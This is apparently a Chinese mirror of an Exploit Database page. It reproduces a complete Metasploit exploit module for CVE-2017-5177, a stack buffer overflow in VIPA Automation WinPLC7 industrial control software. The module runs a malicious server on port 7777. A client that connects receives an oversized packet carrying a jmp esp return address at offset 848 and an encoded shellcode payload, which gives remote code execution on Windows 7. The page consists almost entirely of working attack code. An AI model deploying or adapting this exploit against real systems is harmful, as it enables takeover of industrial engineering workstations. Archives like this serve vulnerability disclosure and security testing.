Viap Automation WinPLC7 5.0.45.5921 – Recv Buffer Overflow (Metasploit)

• Exploit Database
• 17 阅读

• 作者： James Fitts
  日期： 2017-09-13
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42693/

• require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::TcpServer
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'VIPA Authomation WinPLC7 recv Stack Buffer Overflow',
  			'Description'=> %q{
  				This module exploits a stack based buffer overflow found in VIPA
  				Automation WinPLC7 <= 5.0.45.5921. The overflow is triggered when
  				WinPLC7 connects to a remote server and accepts a malicious packet.
  				The first 2 bytes of this packet are read in and used as the size
  				value for a later recv function.If a size value of sufficiently
  				large size is supplied a stack buffer overflow will occur
  			},
  			'Author' => [ 'james fitts' ],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'ZDI', '17-112' ],
  					[ 'CVE', '2017-5177' ],
  					[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-054-01' ]
  				],
  			'Privileged' => false,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 500,
  					'BadChars' => "",
  					'StackAdjustment' => -3500
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[
  						'Windows 7 EN', 
  							{
  								# ws7v5.exe
  								# jmp esp
  								'Ret' => 0x00422354
  							} 
  					],
  				],
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Feb 28 2017'))
  
  		register_options(
  			[
  				OptPort.new('SRVPORT', [ true, "The port to listen on", 7777])
  			], self.class)
  	end
  
  	def on_client_data(client)
  		p = payload.encoded
  
  		pkt ="\x13\x88\x00\x00\x00"	# len
  		pkt += Rex::Text.pattern_create(5000)
  
  		pkt[848, 4] = [target.ret].pack('V')
  		pkt[852, p.length] = p
  
  		client.put(pkt)
  		handler
  		service.close_client(client)
  	end
  
  end